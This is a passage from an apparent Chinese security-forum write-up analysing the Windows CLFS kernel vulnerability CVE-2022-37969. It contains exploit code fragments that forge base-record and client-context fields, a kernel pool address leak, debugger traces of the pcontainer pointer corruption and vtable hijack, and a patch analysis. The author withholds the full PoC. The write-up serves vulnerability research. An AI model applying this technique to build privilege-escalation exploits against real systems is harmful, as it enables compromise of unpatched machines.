ULONGLONG base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record->cbSymbolZone = 0x11000+0x15b;
base_record->rgClients[0] = ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
fakesym->cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
fakesym->cbOffset = ClientOffset;
fakectx->cidNode.cType = 0xC1FDF007;
fakectx->cidNode.cbNode = sizeof(CLFS_CLIENT_CONTEXT);
fakectx->cidClient = 0;
fakectx->Reserved1 = 0;
fakectx->fAttributes = 0x0100;
fakectx->eState = CLFS_LOG_SHUTDOWN;

4.重新打开修改后主blf文件通过CreateLogFile

 

5.创建副blf文件通过CreateLogFile

 

6.对副blf文件调用DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation切换析构模式

 

7.对副blf文件添加容器通过AddContainer

 

8.对主blf文件添加容器通过AddContainer

 

9.关闭所有句柄触发漏洞

利用步骤分析

CLFS的元数据块总数默认为6个也就是如下的元数据类型,对于不是这个常量的元数据数量可以产生漏洞CVE-2022-3022详见看雪分析,在ReadImage先读取第一个ClfsMetaBlockControl元数据块,该块默认大小为400不能任意更改,读取后获取控制块中的所有元数据块配置数组,根据元数据块配置CLFS_METADATA_BLOCK读取和它之后的影子块保存在pbImage字段中,这个字段仅内核模式可见不写入文件中

1
2
3
4
5
6
7
8
9
typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl,
    ClfsMetaBlockControlShadow,
    ClfsMetaBlockGeneral,
    ClfsMetaBlockGeneralShadow,
    ClfsMetaBlockScratch,
    ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;
数据块类型 元数据块类型 描述
Control Record Control Metadata Block 包含了有关布局(layout)、扩展(extend)区域以及截断(truncate)区域的信息
Base Record General Metadata Block 包含了符号表信息,其中包括该BLF有关的客户端、容器和安全上下文信息
Truncate Record Scratch Metadata Block 包含了因为截断操作而需要对扇区进行更改的客户端信息,以及具体更改的扇区字节.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//一次读取元数据块和它的影子块
signed __int64 __fastcall CClfsBaseFile::AcquireMetadataBlock(CClfsBaseFilePersisted *this, __int64 idx, __int64 a3, __int64 a4)
{
  int cbimg= file->field_rgBlocks_30[idx].cbImage;
  LPVOID MetadataBlockPtr = (struct _CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned, cbimg, 'sflC');
  that->field_rgBlocks_30[idx].pbImage = MetadataBlockPtr;
  CClfsBaseFilePersisted::ReadMetadataBlock(MetadataBlockPtr,idx,...)
  CLFS_METADATA_BLOCK_TYPE shadowblocktype = (unsigned int)(idx + 1);
  hr = ClfsBaseFilePersisted::ReadMetadataBlock( that, shadowblocktype,...); 
}
}
__int64 __fastcall CClfsBaseFilePersisted::ReadImage(CClfsBaseFilePersisted *this, struct _CLFS_CONTROL_RECORD **a2)
{
  //获取第一个元数据
  hr = CClfsBaseFile::GetControlRecord(file, ctrlrcd, v10, v11);{
  result = CClfsBaseFile::AcquireMetadataBlock(this, ClfsMetaBlockControl, a3, a4);
  MetadataBlockPtr = that->field_rgBlocks_30[0]; 
  RecordOffset = MetadataBlockPtr->pbImage->RecordOffsets[0];
  ctrlrcd = (_CLFS_CONTROL_RECORD *)(&MetadataBlockPtr->pbImage->MajorVersion + RecordOffset);
  }
   mapptr = (__int64)file->field_rgBlocks_30->pbImage;
  for ( i = 0i64; (unsigned int)i < (unsigned __int16)file->field_cblock_28; i = (unsigned int)(i + 1) )
  {       
    *(_OWORD *)&mapptrRef[idx].pbImage = *(_OWORD *)&(*ctrlrcd)->rgBlocks[(unsigned int)i].pbImage;
    *(_QWORD *)&mapptrRef[idx].eBlockType = *(_QWORD *)&ctrlrcdRef->rgBlocks[(unsigned int)i].eBlockType; 
  }
  //获取主元数据
  hr = CClfsBaseFile::AcquireMetadataBlock(file, ClfsMetaBlockGeneral, i, mapptr);
}

对于打开和创建的blf文件,在之后内存池空间没有被占位的情况下,ClfsMetaBlockGeneral和下个blf文件的ClfsMetaBlockGeneral几个间隔块大小经调试得出的结构偏移是常量0x11000,微软为我们提供个一个用户态函数可以查询到SystemBigPoolInformation具体的堆地址和tag,代码如下.这个查询函数可以查询到完整的大块堆信息,只要在申请之前查询一次申请之后查询一次即可准确分析出当前元数据所在的内核堆地址.当申请占位的文件最后堆块两个间隔正好是0x11000时,关闭这个两个占位文件,那些接下来申请的两个主文件中的ClfsMetaBlockGeneral也会出现在这个位置.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize = 0;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
_tprintf(_T("NtQuerySystemInformation ret with 0x%d %d %d\n"), hRes, dwOutSize, GetLastError());
DWORD dwExpectedSize = 0x7a00;
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
printf("[+] StartAddress is : 0x%llx,EndAddress is : 0x%llx\n", StartAddress, EndAddress);
while (ptr < EndAddress)
{
    PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;   
    if (info->PoolTag == 'sflC' && dwExpectedSize == info->PoolSize)
    {
        ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);
        printf("[+] Name:%s ,Size:%llx ,FakeAddress is : 0x%llx,\n", &info->PoolTag, info->PoolSize, FakeAddress);
    }
    ptr += sizeof(BIG_POOL_INFO);
}

也就是说将cbSymbolZone设置为偏移0x11000加上pcontainer指针在元素据块中的偏移就能清空下个blf文件pcontainer指针的高位部分,实现和上个漏洞相同的利用结果.但是这里有个限制需要绕过,也就是cbSymbolZone需要小于SignaturesOffset,为了绕过这个限制,原文采用了一个巧妙的方法也就是构造一个特定的CLIENT_CONTEXT,在打开blf文件时如果在CClfsLogFcbPhysical::Initialize判断eState = CLFS_LOG_SHUTDOWN就会进入就会调用ClfsLogFcbPhysical::ResetLog

1
2
3
4
5
6
7
8
__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *this)
{
 this->field_lsnrestart_1f0 = CLFS_LSN_INVALID;
   struct _CLFS_CLIENT_CONTEXT *cltctx; // rcx
 CClfsBaseFile::AcquireClientContext(this->field_BaseFilePersisted_2A8, 0, &ctnctx);
 //ctx+58最后就会写入ignatureOffset=68加上2高位部分
 cltctx->lsnRestart_58.ullOffset = that->field_lsnrestart_1f0;
}

CLIENT_CONTEXT这里lsnRestart_58所在元数据位置正好是第4个Signatures要写入的位置,被替换成了CLFS_LSN_INVALID也就是FFFFFFFF00000000重叠部分正好是FFFFFFFF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall ClfsEncodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER *hdr, unsigned int TotalSectorCount, char a3, unsigned __int8 a4)
{
do
    {
      // SignaturesOffsetAddr=(ULONGLONG)that+that->SignaturesOffset;
      SignaturesOffsetAddr += 2i64;
      flag1 = 0x20;
      flag2 = 0x40;
      if ( thisref->TotalSectorCount - 1 != Sectoridx )
        flag1 = 0;
      if ( Sectoridx )
        flag2 = 0;
      flagall = flag2 | flag1;
      sectorbase = Sectoridx << 9;
      LOBYTE(flagsig) = val10 | flagall;
      ++Sectoridx;
      //  signature array是个数组会和SignaturesOffset相交如果SignaturesOffset=0x50
      *(_WORD *)(SignaturesOffsetAddr - 2) = *(USHORT *)((char *)&thisref->sig_1fe + sectorbase);
      *(USHORT *)((char *)&thisref->sig_1fe + (unsigned int)sectorbase) = flagsig
    }
    while ( Sectoridx < SectorCount );
}

CVE-2021-24521只是修复了Signatures与符号表相交的情况,并没有限制SignaturesOffset可以与自身的偏移量0x68重叠的情况,这里将SignaturesOffset设置为0x50那么第4个Signatures所在位置0x19FE(0xC*0x200+0x1FE)就会写入SignaturesOffset在文件中的偏移量68加上2的高16位也就是FFFF刚才提到的重叠部分的数据,这个利用方式很巧妙笔者还未发现被微软完全修复.SignaturesOffset被替换后的值变成了0xFFFF0050,从而绕过了cbSymbolZone限制使其可以越界清空下个堆块数据.
但是这种利用方式比较复杂,需要精确控制堆申请的偏移量,实际环境利用难度过高,其实还有一个更简单的利用方式,这种方式不需要清空下个堆块的pcontainer指针而是清空自己文件的指针,同样可以实现利用,实现方法只需要设置cbSymbolZone等于本文件的pcontainer指针偏移量+3就可以了,最后利用的效果是一样的.

调试分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
1: kd> bp clfs!CClfsLogFcbPhysical::ResetLog
2: kd> r
rax=0000000000000000 rbx=ffff8c038124e000 rcx=ffff8c0380cec000
rdx=0000000000000000 rsi=0000000073666c43 rdi=0000000000000200
rip=fffff8032ce014d5 rsp=ffff9c034e2290c0 rbp=ffff9c034e229760
 r8=ffff9c034e229100  r9=ffffa2829d668070 r10=0000000000000000
r11=ffffa2829d668000 r12=0000000000000000 r13=ffff8c037fe37ad0
r14=ffff8c038124e000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
CLFS!CClfsLogFcbPhysical::ResetLog+0x91:
fffff803`2ce014d5 e8cae10100      call    CLFS!CClfsBaseFile::AcquireClientContext (fffff803`2ce1f6a4)
//对 cltctx->lsnRestart字段下硬件断点
2: kd> ba r8 poi(ffff9c034e229100)+58
2: kd> g
Breakpoint 3 hit
CLFS!ClfsEncodeBlockPrivate+0xe9:
fffff803`2cdf8149 66418943fe      mov     word ptr [r11-2],ax
2: kd> r
rax=000000000000ffff rbx=0000000000000010 rcx=0000000000001a00
rdx=000000000000000e rsi=0000000000007a00 rdi=000000000000003d
rip=fffff8032cdf8149 rsp=ffff9c034e228f70 rbp=0000000000000000
 r8=ffff9c034e228f90  r9=0000000000000002 r10=ffffa2829d668000
r11=ffffa2829d66806c r12=0000000000000001 r13=0000000000000002
r14=ffffa2829d668000 r15=0000000000000001
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
//r11-2正好是SignatureOffset=68加上2高位部分
2: kd> dc ffffa2829d668068
ffffa282`9d668068  00000050 00000000 00000002 00000000  P...............
ffffa282`9d668078  e2c8dc5c 11ed7dcb dfc0c3af 96701a04  \....}........p.
2: kd> p
CLFS!ClfsEncodeBlockPrivate+0xee:
fffff803`2cdf814e 0fb7442440      movzx   eax,word ptr [rsp+40h]
//SignatureOffset已经变成了ffff0050
2: kd> dc ffffa2829d668068
ffffa282`9d668068  ffff0050 00000000 00000002 00000000  P...............
//继续对SignatureOffset字段下硬件断点
2: kd> ba r8 ffffa282`9d668068
//跳过2个CLFS!CClfsBaseFilePersisted::AddContainer来到这里
0: kd> p
0: kd> r
rax=000000000001120b rbx=ffffa2829d67a503 rcx=ffffa2829d67a503
rdx=0000000000000000 rsi=ffff9c034e229460 rdi=ffffa2829d668070
rip=fffff8032ce30207 rsp=ffff9c034e229410 rbp=00000000000000b0
 r8=00000000000000b0  r9=00000000fffffff8 r10=fffff8032d5f08b0
r11=3333333333333333 r12=0000000000000060 r13=ffff9c034e2296d8
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67:
fffff803`2ce30207 e874c8fcff      call    CLFS!memset (fffff803`2cdfca80)
//清零之前pcontainer指针的原始值
0: kd> dq ffffa2829d67a500
ffffa282`9d67a500  ffffa282`9e58a3c0 00000002`00000001
ffffa282`9d67a510  00000000`00000000 005c003f`003f005c
//可以看到指向源虚表
5: kd> dps ffffa282`9e58a3c0
ffffa282`9e58a3c0  fffff803`2ce035f0 CLFS!CClfsContainer::`vftable'
ffffa282`9e58a3c8  00000000`00080000
//继续走
0: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c:
fffff803`2ce3020c 01af28130000    add     dword ptr [rdi+1328h],ebp
//pcontainer指针高位已经没有了
0: kd> dq ffffa2829d67a500
ffffa282`9d67a500  00000000`0058a3c0 00000000`00000000
ffffa282`9d67a510  00000000`00000000 00000000`00000000
0: kd> dq  00000000`0058a3c0,//ffff8c03`80bf42aa是ThreadPreMode地址
00000000`0058a3c0  00000000`ffff0000 ffff8c03`80bf42aa
00000000`0058a3d0  00000000`ffff0000 ffff8c03`80bf42aa
0: kd> dq 00000000`ffff0000
00000000`ffff0000  00000000`12345678 fffff803`2d5f4da0
00000000`ffff0010  00000000`00000000 fffff803`2ce01cb0
//变成了我们伪造的虚表
0: kd> dps 00000000`ffff0000
00000000`ffff0000  00000000`12345678
00000000`ffff0008  fffff803`2d5f4da0 nt!SeSetAccessStateGenericMapping
00000000`ffff0010  00000000`00000000
00000000`ffff0018  fffff803`2ce01cb0 CLFS!ClfsEarlierLsn
//最后验证下我们的利用结果
2: kd> r
rax=fffff8032ce01cb0 rbx=0000000000000000 rcx=000000000058a3c0
rdx=0000000000000000 rsi=ffff8c0380bb9000 rdi=000000000058a3c0
rip=fffff8032ce16efc rsp=ffff9c034e2295e0 rbp=0000000000000400
 r8=ffff9c034e2295b0  r9=0000000000000000 r10=0000000000000000
r11=ffff9c034e229570 r12=0000000000000000 r13=0000000000000001
r14=0000000000001400 r15=ffffa2829d67a4e8
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c:
fffff803`2ce16efc ff15ced6ffff    call    qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff803`2ce145d0)] ds:002b:fffff803`2ce145d0={CLFS!guard_dispatch_icall_nop (fffff803`2cdfc780)}
2: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff9c03`4e2295e0 fffff803`2cdf120b     CLFS!CClfsBaseFilePersisted::RemoveContainer+0x14c
01 ffff9c03`4e229640 fffff803`2cdf8b0f     CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers+0xf3
02 ffff9c03`4e229690 fffff803`2cdf8761     CLFS!CClfsLogFcbPhysical::Finalize+0x39b
03 ffff9c03`4e2296c0 fffff803`2ce1df42     CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffff9c03`4e229720 fffff803`2ce20878     CLFS!CClfsRequest::Close+0xd6
05 ffff9c03`4e229770 fffff803`2ce20747     CLFS!ClfsDispatchIoRequest+0x108
06 ffff9c03`4e2297c0 fffff803`2d2adac5     CLFS!CClfsDriver::LogIoDispatch+0x27
07 ffff9c03`4e2297f0 fffff803`2d5f288f     nt!IofCallDriver+0x55
08 ffff9c03`4e229830 fffff803`2d61baf0     nt!IopDeleteFile+0x14f
09 ffff9c03`4e2298b0 fffff803`2d2b01a7     nt!ObpRemoveObjectRoutine+0x80
0a ffff9c03`4e229910 fffff803`2d624449     nt!ObfDereferenceObjectWithTag+0xc7
0b ffff9c03`4e229950 fffff803`2d62827c     nt!ObCloseHandleTableEntry+0x6c9
0c ffff9c03`4e229a90 fffff803`2d40c2b5     nt!NtClose+0xec
0d ffff9c03`4e229b00 00007ff9`67b0d124     nt!KiSystemServiceCopyEnd+0x25
0e 0000006c`0e6fdf18 00007ff9`6528a405     ntdll!NtClose+0x14
0f 0000006c`0e6fdf20 00000000`00000000     0x00007ff9`6528a405
2: kd> ln rax
Browse module
Set bu breakpoint
(fffff803`2ce01cb0)   CLFS!ClfsEarlierLsn   |  (fffff803`2ce01d00)   CLFS!ClfsLaterLsn

CVE-2022-37969补丁分析

CVE-2021-24521补丁添加了Container和ClientContext对cbSymbolZone的越界验证,从而修复了所有的符号表相交和覆写问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
signed __int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile *this, struct _CLFS_BASE_RECORD_HEADER *const a2)
{
 hr = CClfsBaseFile::ValidateContainerContextOffsets(v3, v7, v2);
  if ( hr < 0
    || (hr = CClfsBaseFile::ValidateClientContextOffsets(v3, v7, v2), hr < 0)
    || (hr = CClfsBaseFile::ValidateContainerSymTblOffsets(v3, v7, v2), hr < 0)
    || (hr = CClfsBaseFile::ValidateClientSymTblOffsets(v3, v7, v2), hr < 0) )
  {
  return error;
  }
signed __int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(CClfsBaseFile *this, unsigned int offset, struct _CLFS_BASE_RECORD_HEADER *hdr)
{
  if ( offset < 0x1338 || offset - 0x1338 > hdr->cbSymbolZone )
    return = 0xC01A000Di64else    return = 0i64;
}

漏洞复现

出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了8月补丁的Windows1021h2虚拟机上成功复现了CVE-2022-37969

 

查看大图

相关引用

clfs逆向工程文档

 

CVE-2022-24521分析第一篇

 

CVE-2022-24521分析第二篇

 

CVE-2022-24521分析第三篇

 

CVE-2022-24521分析第三篇原文

 

CVE-2022-3022分析

 

CVE-2022-24521分析谷p0

 

CVE-2022-37969分析第一部分

 

CVE-2022-37969分析第二部分

 

CVE-2022-37969分析中文第一篇

参与贡献

作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞16
打赏
分享
最新回复 (2)
雪    币: 5291
活跃值: (11715)
能力值: ( LV12,RANK:312 )
在线值:
发帖
回帖
粉丝
一半人生 5 2022-12-20 10:01
2
0
雪    币: 149
活跃值: (1998)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
saloyun 2022-12-23 12:15
3
0
好厉害!
游客
登录 | 注册 方可回帖
返回